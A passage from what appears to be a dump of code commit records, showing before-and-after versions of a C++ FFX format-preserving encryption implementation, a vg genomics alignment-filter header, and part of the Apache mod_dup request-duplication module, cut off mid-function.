true;\n}\n\n\/*\n * This function has an unfortunate number of input parameters.\n * However, this is a direct implementation of the round-function algorithm\n * F_K(n,T,i,B) defined in [FFX2].\n *\/\nstatic bool RoundFunction(const std::string & K,\n uint32_t n,\n const mpz_class & tweak,\n uint32_t tweak_len_in_bits,\n uint32_t i,\n const mpz_class & B,\n uint32_t B_len,\n mpz_class * retval) {\n\n \/\/ [FFX2] pg 3., line 31\n uint32_t vers = 1;\n uint32_t t = ceil(tweak_len_in_bits \/ 8.0);\n uint32_t beta = ceil(n \/ 2.0);\n uint32_t b = ceil(beta \/ 8.0);\n uint32_t d = 4 * ceil(b \/ 4.0);\n\n\n \/\/ [FFX2] pg 3., line 32\n uint32_t m = 0;\n if ((i & 1) == 0) {\n m = n \/ 2;\n } else {\n m = ceil(n \/ 2.0);\n }\n\n \/\/ [FFX2] pg 3., line 33\n mpz_class P = 0;\n uint32_t P_len = (1 + 1 + 1 + 3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(vers) << (1 + 1 + 3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(2) << (1 + 3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(1) << (3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(2) << (1 + 1 + 4 + 4) * 8;\n P += mpz_class(10) << (1 + 4 + 4) * 8;\n P += mpz_class(n \/ 2) << (4 + 4) * 8;\n P += mpz_class(n) << (4) * 8;\n P += t;\n\n uint32_t B_bits = b * 8;\n\n \/\/ [FFX2] pg 3., line 34\n mpz_class Q = 0;\n uint32_t T_offset = ((((-1 * t) - b - 1) % 16) * 8);\n T_offset += 8;\n T_offset += B_bits;\n\n uint32_t Q_len = tweak_len_in_bits + T_offset;\n Q += mpz_class(tweak) << T_offset;\n Q += mpz_class(i) << B_bits;\n Q += B;\n\n mpz_class Y = 0;\n\n \/\/ [FFX2] pg 3., line 35\n bool cbc_success = AesCbcMac(K, (P << Q_len) + Q, P_len + Q_len, &Y);\n if (!cbc_success) {\n return false;\n }\n\n \/\/ [FFX2] pg 3., line 36\n mpz_class Z = Y;\n uint32_t Z_len = 16;\n mpz_class counter = 1;\n while (Z_len < (d + 4)) {\n mpz_class ctxt;\n AesEcbEncrypt(K, (Y + counter), 128, &ctxt);\n Z_len += 16;\n Z = Z << 128;\n Z += ctxt;\n ++counter;\n }\n\n \/\/ [FFX2] pg 3., line 37\n BitMask(Z, Z_len * 8, 0, ((d + 4) * 8) - 1, &Y);\n\n \/\/ [FFX2] pg 3., line 3=8\n mpz_class modulus = 0;\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, m);\n Y = Y % modulus;\n\n \/\/ [FFX2] pg 3., line 39\n *retval = Y;\n}\n\nbool Ffx::Encrypt(const std::string & key ,\n const mpz_class & tweak,\n uint32_t tweak_len_in_bits,\n const mpz_class & plaintext,\n uint32_t plaintext_len_in_bits,\n mpz_class * ciphertext) {\n\n \/\/ [FFX2] pg 3., line 11\n if (!ValidateKey(key)) {\n return false;\n }\n\n mpz_class & retval = *ciphertext;\n\n \/\/ [FFX2] pg 3., line 14-15\n uint32_t n = plaintext_len_in_bits;\n uint32_t l = plaintext_len_in_bits \/ 2;\n uint32_t r = kDefaultFfxRounds;\n mpz_class A, B;\n BitMask(plaintext, plaintext_len_in_bits, 0, l - 1, &A);\n BitMask(plaintext, plaintext_len_in_bits, l, n - 1, &B);\n uint32_t B_len = n - l;\n mpz_class C = 0;\n mpz_class D = 0;\n uint32_t m = 0;\n mpz_class modulus = 0;\n\n \/\/ [FFX2] pg 3., line 16\n for (uint32_t i = 0; i <= (r - 1); ++i) {\n if ((i & 1) == 0) {\n m = n \/ 2;\n } else {\n m = ceil(n \/ 2.0);\n }\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, m);\n\n RoundFunction(key, n, tweak, tweak_len_in_bits, i, B, m, &D);\n mpz_add(C.get_mpz_t(),\n A.get_mpz_t(),\n D.get_mpz_t());\n\n C = C % modulus;\n A = B;\n B = C;\n }\n\n \/\/ [FFX2] pg 3., line 19\n retval = (A << B_len) + B;\n\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, plaintext_len_in_bits);\n retval = retval % modulus;\n}\n\nbool Ffx::Decrypt(const std::string & key,\n const mpz_class & tweak,\n uint32_t tweak_len_in_bits,\n const mpz_class & cihpertext,\n uint32_t cihpertext_len_bits,\n mpz_class * plaintext) {\n\n \/\/ [FFX2] pg 3., line 21\n if (!ValidateKey(key)) {\n return false;\n }\n\n mpz_class & retval = *plaintext;\n\n \/\/ [FFX2] pg 3., line 24-25\n uint32_t n = cihpertext_len_bits;\n uint32_t l = cihpertext_len_bits \/ 2;\n uint32_t r = kDefaultFfxRounds;\n mpz_class A, B;\n BitMask(cihpertext, cihpertext_len_bits, 0, l - 1, &A);\n BitMask(cihpertext, cihpertext_len_bits, l, n - 1, &B);\n uint32_t B_len = n - l;\n mpz_class C = 0;\n mpz_class D = 0;\n uint32_t m = 0;\n mpz_class modulus = 0;\n\n \/\/ [FFX2] pg 3., line 26\n for (int32_t i = r - 1; i >= 0; --i) {\n if ((i & 1) == 0) {\n m = n \/ 2;\n } else {\n m = ceil(n \/ 2.0);\n }\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, m);\n\n C = B;\n B = A;\n RoundFunction(key, n, tweak, tweak_len_in_bits, i, B, m, &D);\n mpz_sub(A.get_mpz_t(),\n C.get_mpz_t(),\n D.get_mpz_t());\n\n while(A < 0) A += modulus;\n A = A % modulus;\n }\n\n \/\/ [FFX2] pg 3., line 29\n retval = (A << B_len) + B;\n\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, cihpertext_len_bits);\n retval = retval % modulus;\n}\n\n\/*\n * These are the main entry points with NULL tweaks.\n *\/\nbool Ffx::Encrypt(const std::string & key,\n const mpz_class & plaintext,\n uint32_t plaintext_len_in_bits,\n mpz_class * ciphertext) {\n return Ffx::Encrypt(key, 0, 0, plaintext, plaintext_len_in_bits, ciphertext);\n}\n\nbool Ffx::Decrypt(const std::string & key,\n const mpz_class & ciphertext,\n uint32_t ciphertext_len_in_bits,\n mpz_class * plaintext) {\n return Ffx::Decrypt(key, 0, 0, ciphertext, ciphertext_len_in_bits, plaintext);\n}\n\n\n} \/\/ namespace ffx\n<commit_msg>ensure we return in all functions<commit_after>\/*\n * See ffx.h for details.\n *\n * References:\n * [FFX2] http:\/\/csrc.nist.gov\/groups\/ST\/toolkit\/BCM\/documents\/proposedmodes\/ffx\/ffx-spec2.pdf\n *\/\n\n#include \"ffx\/ffx.h\"\n\n#include <math.h>\n\n#include <string>\n\n#include \"third_party\/aes\/aes.h\"\n\nnamespace ffx {\n\nstatic bool ValidateKey(const std::string & key) {\n if (key.length() != kFfxKeyLengthInNibbles) {\n return false;\n }\n for (uint32_t i = 0; i < key.length(); ++i) {\n if (isxdigit(key[i])) {\n continue;\n } else {\n return false;\n }\n }\n return true;\n}\n\n\/*\n * This function has an unfortunate number of input parameters.\n * However, this is a direct implementation of the round-function algorithm\n * F_K(n,T,i,B) defined in [FFX2].\n *\/\nstatic bool RoundFunction(const std::string & K,\n uint32_t n,\n const mpz_class & tweak,\n uint32_t tweak_len_in_bits,\n uint32_t i,\n const mpz_class & B,\n uint32_t B_len,\n mpz_class * retval) {\n\n \/\/ [FFX2] pg 3., line 31\n uint32_t vers = 1;\n uint32_t t = ceil(tweak_len_in_bits \/ 8.0);\n uint32_t beta = ceil(n \/ 2.0);\n uint32_t b = ceil(beta \/ 8.0);\n uint32_t d = 4 * ceil(b \/ 4.0);\n\n\n \/\/ [FFX2] pg 3., line 32\n uint32_t m = 0;\n if ((i & 1) == 0) {\n m = n \/ 2;\n } else {\n m = ceil(n \/ 2.0);\n }\n\n \/\/ [FFX2] pg 3., line 33\n mpz_class P = 0;\n uint32_t P_len = (1 + 1 + 1 + 3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(vers) << (1 + 1 + 3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(2) << (1 + 3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(1) << (3 + 1 + 1 + 4 + 4) * 8;\n P += mpz_class(2) << (1 + 1 + 4 + 4) * 8;\n P += mpz_class(10) << (1 + 4 + 4) * 8;\n P += mpz_class(n \/ 2) << (4 + 4) * 8;\n P += mpz_class(n) << (4) * 8;\n P += t;\n\n uint32_t B_bits = b * 8;\n\n \/\/ [FFX2] pg 3., line 34\n mpz_class Q = 0;\n uint32_t T_offset = ((((-1 * t) - b - 1) % 16) * 8);\n T_offset += 8;\n T_offset += B_bits;\n\n uint32_t Q_len = tweak_len_in_bits + T_offset;\n Q += mpz_class(tweak) << T_offset;\n Q += mpz_class(i) << B_bits;\n Q += B;\n\n mpz_class Y = 0;\n\n \/\/ [FFX2] pg 3., line 35\n bool cbc_success = AesCbcMac(K, (P << Q_len) + Q, P_len + Q_len, &Y);\n if (!cbc_success) {\n return false;\n }\n\n \/\/ [FFX2] pg 3., line 36\n mpz_class Z = Y;\n uint32_t Z_len = 16;\n mpz_class counter = 1;\n while (Z_len < (d + 4)) {\n mpz_class ctxt;\n AesEcbEncrypt(K, (Y + counter), 128, &ctxt);\n Z_len += 16;\n Z = Z << 128;\n Z += ctxt;\n ++counter;\n }\n\n \/\/ [FFX2] pg 3., line 37\n BitMask(Z, Z_len * 8, 0, ((d + 4) * 8) - 1, &Y);\n\n \/\/ [FFX2] pg 3., line 3=8\n mpz_class modulus = 0;\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, m);\n Y = Y % modulus;\n\n \/\/ [FFX2] pg 3., line 39\n *retval = Y;\n\n return true;\n}\n\nbool Ffx::Encrypt(const std::string & key ,\n const mpz_class & tweak,\n uint32_t tweak_len_in_bits,\n const mpz_class & plaintext,\n uint32_t plaintext_len_in_bits,\n mpz_class * ciphertext) {\n\n \/\/ [FFX2] pg 3., line 11\n if (!ValidateKey(key)) {\n return false;\n }\n\n mpz_class & retval = *ciphertext;\n\n \/\/ [FFX2] pg 3., line 14-15\n uint32_t n = plaintext_len_in_bits;\n uint32_t l = plaintext_len_in_bits \/ 2;\n uint32_t r = kDefaultFfxRounds;\n mpz_class A, B;\n BitMask(plaintext, plaintext_len_in_bits, 0, l - 1, &A);\n BitMask(plaintext, plaintext_len_in_bits, l, n - 1, &B);\n uint32_t B_len = n - l;\n mpz_class C = 0;\n mpz_class D = 0;\n uint32_t m = 0;\n mpz_class modulus = 0;\n\n \/\/ [FFX2] pg 3., line 16\n for (uint32_t i = 0; i <= (r - 1); ++i) {\n if ((i & 1) == 0) {\n m = n \/ 2;\n } else {\n m = ceil(n \/ 2.0);\n }\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, m);\n\n RoundFunction(key, n, tweak, tweak_len_in_bits, i, B, m, &D);\n mpz_add(C.get_mpz_t(),\n A.get_mpz_t(),\n D.get_mpz_t());\n\n C = C % modulus;\n A = B;\n B = C;\n }\n\n \/\/ [FFX2] pg 3., line 19\n retval = (A << B_len) + B;\n\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, plaintext_len_in_bits);\n retval = retval % modulus;\n\n return true;\n}\n\nbool Ffx::Decrypt(const std::string & key,\n const mpz_class & tweak,\n uint32_t tweak_len_in_bits,\n const mpz_class & cihpertext,\n uint32_t cihpertext_len_bits,\n mpz_class * plaintext) {\n\n \/\/ [FFX2] pg 3., line 21\n if (!ValidateKey(key)) {\n return false;\n }\n\n mpz_class & retval = *plaintext;\n\n \/\/ [FFX2] pg 3., line 24-25\n uint32_t n = cihpertext_len_bits;\n uint32_t l = cihpertext_len_bits \/ 2;\n uint32_t r = kDefaultFfxRounds;\n mpz_class A, B;\n BitMask(cihpertext, cihpertext_len_bits, 0, l - 1, &A);\n BitMask(cihpertext, cihpertext_len_bits, l, n - 1, &B);\n uint32_t B_len = n - l;\n mpz_class C = 0;\n mpz_class D = 0;\n uint32_t m = 0;\n mpz_class modulus = 0;\n\n \/\/ [FFX2] pg 3., line 26\n for (int32_t i = r - 1; i >= 0; --i) {\n if ((i & 1) == 0) {\n m = n \/ 2;\n } else {\n m = ceil(n \/ 2.0);\n }\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, m);\n\n C = B;\n B = A;\n RoundFunction(key, n, tweak, tweak_len_in_bits, i, B, m, &D);\n mpz_sub(A.get_mpz_t(),\n C.get_mpz_t(),\n D.get_mpz_t());\n\n while(A < 0) A += modulus;\n A = A % modulus;\n }\n\n \/\/ [FFX2] pg 3., line 29\n retval = (A << B_len) + B;\n\n mpz_ui_pow_ui(modulus.get_mpz_t(), 2, cihpertext_len_bits);\n retval = retval % modulus;\n\n return true;\n}\n\n\/*\n * These are the main entry points with NULL tweaks.\n *\/\nbool Ffx::Encrypt(const std::string & key,\n const mpz_class & plaintext,\n uint32_t plaintext_len_in_bits,\n mpz_class * ciphertext) {\n return Ffx::Encrypt(key, 0, 0, plaintext, plaintext_len_in_bits, ciphertext);\n}\n\nbool Ffx::Decrypt(const std::string & key,\n const mpz_class & ciphertext,\n uint32_t ciphertext_len_in_bits,\n mpz_class * plaintext) {\n return Ffx::Decrypt(key, 0, 0, ciphertext, ciphertext_len_in_bits, plaintext);\n}\n\n\n} \/\/ namespace ffx\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n#include <cstdlib>\n#include <iostream>\n#include <unordered_map>\n#include <sstream>\n#include <string>\n#include \"vg.hpp\"\n#include \"xg.hpp\"\n#include \"vg.pb.h\"\n\n\/**\n * Provides a way to filter Edits contained\n * within Alignments. This can be used to clean out\n * sequencing errors and to find high-quality candidates\n * for variant calling.\n *\n *\/\nnamespace vg{\nclass Filter{\n public:\n Filter();\n ~Filter();\n \/* Filter functions.\n * Take an Alignment and walk it.\n * Perform the desired summary statistics.\n * Output the Alignment if it passes OR\n * A new, modified Alignment if we allow it OR\n * an empty Alignment if the alignment fails and we don't allow\n * modified alignments.\n *\/\n Alignment depth_filter(Alignment& aln);\n Alignment qual_filter(Alignment& aln);\n Alignment coverage_filter(Alignment& aln);\n Alignment avg_qual_filter(Alignment& aln);\n Alignment percent_identity_filter(Alignment& aln);\n Alignment soft_clip_filter(Alignment& aln);\n Alignment split_read_filter(Alignment& aln);\n Alignment path_divergence_filter(Alignment& aln);\n Alignment reversing_filter(Alignment& aln);\n Alignment kmer_filter(Alignment& aln);\n void set_min_depth(int depth);\n \/\/void set_min_kmer_depth(int d);\n void set_min_qual(int qual);\n void set_min_percent_identity(double pct_id);\n void set_avg_qual(double avg_qual);\n void set_filter_matches(bool fm);\n void set_remove_failing_edits(bool fm);\n void set_soft_clip_limit(int max_clip);\n void set_split_read_limit(int split_limit);\n void set_reversing(bool do_reversing_filter);\n void set_path_divergence(bool do_path_divergence);\n void set_window_length(int window_length);\n void set_my_vg(vg::VG* vg);\n void set_my_xg_idx(xg::XG* xg_idx);\n void set_inverse(bool do_inv);\n\n int get_min_depth();\n int get_min_qual();\n int get_window_length();\n int get_soft_clip_limit();\n int get_split_read_limit();\n double get_min_percent_identity();\n double get_min_avg_qual();\n bool get_inverse();\n bool get_filter_matches();\n bool get_remove_failing_edits();\n bool get_do_path_divergence();\n bool get_do_reversing();\n\n\n private:\n vg::VG* my_vg;\n xg::XG* my_xg_idx;\n \/\/Position: NodeID + offset\n \/\/ different edits may be present at each position.\n \/\/ is there some way to just hash the mappings?\n unordered_map<string, unordered_map<string, int> > pos_to_edit_to_depth;\n unordered_map<int, int> pos_to_qual;\n bool inverse = false;\n bool remove_failing_edits = false;\n bool filter_matches = false;\n bool do_path_divergence;\n bool do_reversing;\n int min_depth = 0;\n int min_qual = 0;\n int min_cov = 0;\n int window_length = 0;\n int qual_offset = 0;\n int soft_clip_limit = -1;\n int split_read_limit = -1;\n double min_percent_identity = 0.0;\n double min_avg_qual = 0.0;\n };\n}\n<commit_msg>Add include guards to filter.hpp<commit_after>#ifndef VG_FILTER_HPP\n#define VG_FILTER_HPP\n\n#include <vector>\n#include <cstdlib>\n#include <iostream>\n#include <unordered_map>\n#include <sstream>\n#include <string>\n#include \"vg.hpp\"\n#include \"xg.hpp\"\n#include \"vg.pb.h\"\n\n\/**\n * Provides a way to filter Edits contained\n * within Alignments. This can be used to clean out\n * sequencing errors and to find high-quality candidates\n * for variant calling.\n *\n *\/\nnamespace vg{\nclass Filter{\n public:\n Filter();\n ~Filter();\n \/* Filter functions.\n * Take an Alignment and walk it.\n * Perform the desired summary statistics.\n * Output the Alignment if it passes OR\n * A new, modified Alignment if we allow it OR\n * an empty Alignment if the alignment fails and we don't allow\n * modified alignments.\n *\/\n Alignment depth_filter(Alignment& aln);\n Alignment qual_filter(Alignment& aln);\n Alignment coverage_filter(Alignment& aln);\n Alignment avg_qual_filter(Alignment& aln);\n Alignment percent_identity_filter(Alignment& aln);\n Alignment soft_clip_filter(Alignment& aln);\n Alignment split_read_filter(Alignment& aln);\n Alignment path_divergence_filter(Alignment& aln);\n Alignment reversing_filter(Alignment& aln);\n Alignment kmer_filter(Alignment& aln);\n void set_min_depth(int depth);\n \/\/void set_min_kmer_depth(int d);\n void set_min_qual(int qual);\n void set_min_percent_identity(double pct_id);\n void set_avg_qual(double avg_qual);\n void set_filter_matches(bool fm);\n void set_remove_failing_edits(bool fm);\n void set_soft_clip_limit(int max_clip);\n void set_split_read_limit(int split_limit);\n void set_reversing(bool do_reversing_filter);\n void set_path_divergence(bool do_path_divergence);\n void set_window_length(int window_length);\n void set_my_vg(vg::VG* vg);\n void set_my_xg_idx(xg::XG* xg_idx);\n void set_inverse(bool do_inv);\n\n int get_min_depth();\n int get_min_qual();\n int get_window_length();\n int get_soft_clip_limit();\n int get_split_read_limit();\n double get_min_percent_identity();\n double get_min_avg_qual();\n bool get_inverse();\n bool get_filter_matches();\n bool get_remove_failing_edits();\n bool get_do_path_divergence();\n bool get_do_reversing();\n\n\n private:\n vg::VG* my_vg;\n xg::XG* my_xg_idx;\n \/\/Position: NodeID + offset\n \/\/ different edits may be present at each position.\n \/\/ is there some way to just hash the mappings?\n unordered_map<string, unordered_map<string, int> > pos_to_edit_to_depth;\n unordered_map<int, int> pos_to_qual;\n bool inverse = false;\n bool remove_failing_edits = false;\n bool filter_matches = false;\n bool do_path_divergence;\n bool do_reversing;\n int min_depth = 0;\n int min_qual = 0;\n int min_cov = 0;\n int window_length = 0;\n int qual_offset = 0;\n int soft_clip_limit = -1;\n int split_read_limit = -1;\n double min_percent_identity = 0.0;\n double min_avg_qual = 0.0;\n };\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n* mod_dup - duplicates apache requests\n*\n* Copyright (C) 2013 Orange\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"mod_dup.hh\"\n\n#include <http_config.h>\n\nnamespace DupModule {\n\nconst unsigned int CMaxBytes = 8192;\n\nbool\nextractBrigadeContent(apr_bucket_brigade *bb, request_rec *pRequest, std::string &content) {\n if (ap_get_brigade(pRequest->input_filters,\n bb, AP_MODE_READBYTES, APR_BLOCK_READ, CMaxBytes) == APR_SUCCESS) {\n \/\/ Read brigade content\n for (apr_bucket *b = APR_BRIGADE_FIRST(bb);\n b != APR_BRIGADE_SENTINEL(bb);\n b = APR_BUCKET_NEXT(b) ) {\n \/\/ Metadata end of stream\n if (APR_BUCKET_IS_EOS(b)) {\n return true;\n }\n const char *data = 0;\n apr_size_t len = 0;\n apr_status_t rv = apr_bucket_read(b, &data, &len, APR_BLOCK_READ);\n if (rv != APR_SUCCESS) {\n Log::error(42, \"Bucket read failed, skipping the rest of the body\");\n return true;\n }\n if (len) {\n content.append(data, len);\n }\n }\n }\n else {\n Log::error(42, \"Get brigade failed, skipping the rest of the body\");\n return true;\n }\n return false;\n}\n\n\nint\ntranslateHook(request_rec *pRequest) {\n if (!pRequest->per_dir_config)\n return DECLINED;\n DupConf *tConf = reinterpret_cast<DupConf *>(ap_get_module_config(pRequest->per_dir_config, &dup_module));\n if (!tConf || !tConf->dirName) {\n \/\/ Not a location that we treat, we decline the request\n return DECLINED;\n }\n RequestInfo *info = new RequestInfo(tConf->getNextReqId());\n \/\/ Backup in request context\n ap_set_module_config(pRequest->request_config, &dup_module, (void *)info);\n\n if (!pRequest->connection->pool) {\n Log::error(42, \"No connection pool associated to the request\");\n return DECLINED;\n }\n if (!pRequest->connection->bucket_alloc) {\n pRequest->connection->bucket_alloc = apr_bucket_alloc_create(pRequest->connection->pool);\n if (!pRequest->connection->bucket_alloc) {\n Log::error(42, \"Request bucket allocation failed\");\n return DECLINED;\n }\n }\n\n apr_bucket_brigade *bb = apr_brigade_create(pRequest->connection->pool, pRequest->connection->bucket_alloc);\n if (!bb) {\n Log::error(42, \"Bucket brigade allocation failed\");\n return DECLINED;\n }\n while (!extractBrigadeContent(bb, pRequest, info->mBody)){\n apr_brigade_cleanup(bb);\n }\n apr_brigade_cleanup(bb);\n \/\/ Body read :)\n\n \/\/ Copy Request ID in both headers\n std::string reqId = boost::lexical_cast<std::string>(info->mId);\n apr_table_set(pRequest->headers_in, c_UNIQUE_ID, reqId.c_str());\n apr_table_set(pRequest->headers_out, c_UNIQUE_ID, reqId.c_str());\n\n \/\/ Synchronous context enrichment\n info->mConfPath = tConf->dirName;\n info->mArgs = pRequest->args ? pRequest->args : \"\";\n gProcessor->enrichContext(pRequest, *info);\n\n return DECLINED;\n}\n\n\n\/**\n * Reinject the body we saved in earlyHook into a brigade\n *\/\napr_status_t\ninputFilterBody2Brigade(ap_filter_t *pF, apr_bucket_brigade *pB, ap_input_mode_t pMode, apr_read_type_e pBlock, apr_off_t pReadbytes)\n{\n\n request_rec *pRequest = pF->r;\n if (!pRequest || !pRequest->per_dir_config) {\n apr_bucket *e = apr_bucket_eos_create(pF->c->bucket_alloc);\n assert(e);\n APR_BRIGADE_INSERT_TAIL(pB, e);\n return APR_SUCCESS;\n }\n \/\/ Retrieve request info from context\n RequestInfo *info = reinterpret_cast<RequestInfo *>(ap_get_module_config(pRequest->request_config, &dup_module));\n if (!info) {\n \/\/ Should not happen\n apr_bucket *e = apr_bucket_eos_create(pF->c->bucket_alloc);\n assert(e);\n APR_BRIGADE_INSERT_TAIL(pB, e);\n return APR_SUCCESS;\n }\n if (!pF->ctx) {\n if (!info->mBody.empty()) {\n apr_status_t st;\n Log::warn(1, \"Wrote body to brigade: %s\", info->mBody.c_str());\n if ((st = apr_brigade_write(pB, NULL, NULL, info->mBody.c_str(), info->mBody.size())) != APR_SUCCESS ) {\n Log::warn(1, \"Failed to write request body in a brigade: %s\", info->mBody.c_str());\n return st;\n }\n }\n \/\/ Marks the body as sent\n pF->ctx = (void *) -1;\n }\n \/\/ Marks that we do not have any more data to read\n apr_bucket *e = apr_bucket_eos_create(pF->c->bucket_alloc);\n assert(e);\n APR_BRIGADE_INSERT_TAIL(pB, e);\n return APR_SUCCESS;\n}\n\n\/*\n * Callback to iterate over the headers tables\n * Pushes a copy of key => value in a list\n *\/\nstatic int iterateOverHeadersCallBack(void *d, const char *key, const char *value) {\n RequestInfo::tHeaders *headers = reinterpret_cast<RequestInfo::tHeaders *>(d);\n headers->push_back(std::pair<std::string, std::string>(key, value));\n return 1;\n}\n\nstatic void\nprepareRequestInfo(DupConf *tConf, request_rec *pRequest, RequestInfo &r, bool withAnswer) {\n \/\/ Basic\n r.mPoison = false;\n r.mConfPath = tConf->dirName;\n r.mPath = pRequest->uri;\n r.mArgs = pRequest->args ? pRequest->args : \"\";\n\n \/\/ Copy headers in\n apr_table_do(&iterateOverHeadersCallBack, &r.mHeadersIn, pRequest->headers_in, NULL);\n if (withAnswer) {\n \/\/ Copy headers out\n apr_table_do(&iterateOverHeadersCallBack, &r.mHeadersOut, pRequest->headers_out, NULL);\n }\n}\n\nstatic void\nprintRequest(request_rec *pRequest, RequestInfo *pBH, DupConf *tConf) {\n const char *reqId = apr_table_get(pRequest->headers_in, c_UNIQUE_ID);\n Log::debug(\"### Pushing a request with ID: %s, body size:%ld\", reqId, pBH->mBody.size());\n Log::debug(\"### Uri:%s, dir name:%s\", pRequest->uri, tConf->dirName);\n Log::debug(\"### Request args: %s\", pRequest->args);\n}\n\n\/*\n * Request context used during brigade run\n *\/\nclass RequestContext {\npublic:\n apr_bucket_brigade *mTmpBB;\n RequestInfo *mReq; \/** Req is pushed to requestprocessor for duplication and will be deleted later*\/\n\n RequestContext(ap_filter_t *pFilter) {\n mTmpBB = apr_brigade_create(pFilter->r->pool, pFilter->c->bucket_alloc);\n mReq = reinterpret_cast<RequestInfo *>(ap_get_module_config(pFilter->r->request_config,\n &dup_module));\n assert(mReq);\n }\n\n RequestContext()\n : mTmpBB(NULL)\n , mReq(NULL) {\n }\n\n ~RequestContext() {\n if (mTmpBB) {\n apr_brigade_cleanup(mTmpBB);\n }\n }\n};\n\n\n\/**\n * Here we can get the response body and finally duplicate or not\n *\/\napr_status_t\noutputFilterHandler(ap_filter_t *pFilter, apr_bucket_brigade *pBrigade) {\n request_rec *pRequest = pFilter->r;\n \/\/ Reject requests that do not meet our requirements\n if (!pRequest || !pRequest->per_dir_config)\n return ap_pass_brigade(pFilter->next, pBrigade);\n\n struct DupConf *tConf = reinterpret_cast<DupConf *>(ap_get_module_config(pRequest->per_dir_config, &dup_module));\n if ((!tConf) || (!tConf->dirName) || (tConf->getHighestDuplicationType() == DuplicationType::NONE)) {\n return ap_pass_brigade(pFilter->next, pBrigade);\n }\n\n \/\/ Request answer analyse\n RequestContext *ctx = static_cast<RequestContext *>(pFilter->ctx);\n if (ctx == NULL) {\n \/\/ First pass in the output filter => context init\n ctx = new RequestContext(pFilter);\n pFilter->ctx = ctx;\n } else if (ctx == (void *) -1) {\n \/\/ Output filter already did his job, we return\n return ap_pass_brigade(pFilter->next, pBrigade);\n }\n\n \/\/ We need to get the highest one as we haven't matched which rule it is yet\n if (tConf->getHighestDuplicationType() != DuplicationType::REQUEST_WITH_ANSWER) {\n \/\/ Asynchronous push of request WITHOUT the answer\n RequestInfo *rH = ctx->mReq;\n prepareRequestInfo(tConf, pRequest, *rH, false);\n printRequest(pRequest, rH, tConf);\n gThreadPool->push(rH);\n delete ctx;\n pFilter->ctx = (void *) -1;\n return ap_pass_brigade(pFilter->next, pBrigade);\n }\n \/\/ Asynchronous push of request WITH the answer\n apr_bucket *currentBucket;\n while ((currentBucket = APR_BRIGADE_FIRST(pBrigade)) != APR_BRIGADE_SENTINEL(pBrigade)) {\n const char *data;\n apr_size_t len;\n apr_status_t rv;\n rv = apr_bucket_read(currentBucket, &data, &len, APR_BLOCK_READ);\n\n if ((rv == APR_SUCCESS) && (data != NULL)) {\n ctx->mReq->mAnswer.append(data, len);\n }\n \/* Remove bucket e from bb. *\/\n APR_BUCKET_REMOVE(currentBucket);\n \/* Insert it into temporary brigade. *\/\n APR_BRIGADE_INSERT_HEAD(ctx->mTmpBB, currentBucket);\n \/* Pass brigade downstream. *\/\n rv = ap_pass_brigade(pFilter->next, ctx->mTmpBB);\n if (rv != APR_SUCCESS) {\n \/\/ Something went wrong, no duplication performed\n delete ctx;\n pFilter->ctx = (void *) -1;\n return rv;\n }\n if (APR_BUCKET_IS_EOS(currentBucket)) {\n \/\/ Pushing the answer to the processor\n prepareRequestInfo(tConf, pRequest, *(ctx->mReq), true);\n printRequest(pRequest, ctx->mReq, tConf);\n gThreadPool->push(ctx->mReq);\n delete ctx;\n pFilter->ctx = (void *) -1;\n }\n else {\n apr_brigade_cleanup(ctx->mTmpBB);\n }\n }\n return OK;\n}\n\n};\n<commit_msg>Modified request context with shared pointer<commit_after>\/*\n* mod_dup - duplicates apache requests\n*\n* Copyright (C) 2013 Orange\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#include \"mod_dup.hh\"\n\n#include <boost\/shared_ptr.hpp>\n#include <http_config.h>\n\nnamespace DupModule {\n\nconst unsigned int CMaxBytes = 8192;\n\nbool\nextractBrigadeContent(apr_bucket_brigade *bb, request_rec *pRequest, std::string &content) {\n if (ap_get_brigade(pRequest->input_filters,\n bb, AP_MODE_READBYTES, APR_BLOCK_READ, CMaxBytes) == APR_SUCCESS) {\n \/\/ Read brigade content\n for (apr_bucket *b = APR_BRIGADE_FIRST(bb);\n b != APR_BRIGADE_SENTINEL(bb);\n b = APR_BUCKET_NEXT(b) ) {\n \/\/ Metadata end of stream\n if (APR_BUCKET_IS_EOS(b)) {\n return true;\n }\n const char *data = 0;\n apr_size_t len = 0;\n apr_status_t rv = apr_bucket_read(b, &data, &len, APR_BLOCK_READ);\n if (rv != APR_SUCCESS) {\n Log::error(42, \"Bucket read failed, skipping the rest of the body\");\n return true;\n }\n if (len) {\n content.append(data, len);\n }\n }\n }\n else {\n Log::error(42, \"Get brigade failed, skipping the rest of the body\");\n return true;\n }\n return false;\n}\n\n\nint\ntranslateHook(request_rec *pRequest) {\n if (!pRequest->per_dir_config)\n return DECLINED;\n DupConf *tConf = reinterpret_cast<DupConf *>(ap_get_module_config(pRequest->per_dir_config, &dup_module));\n if 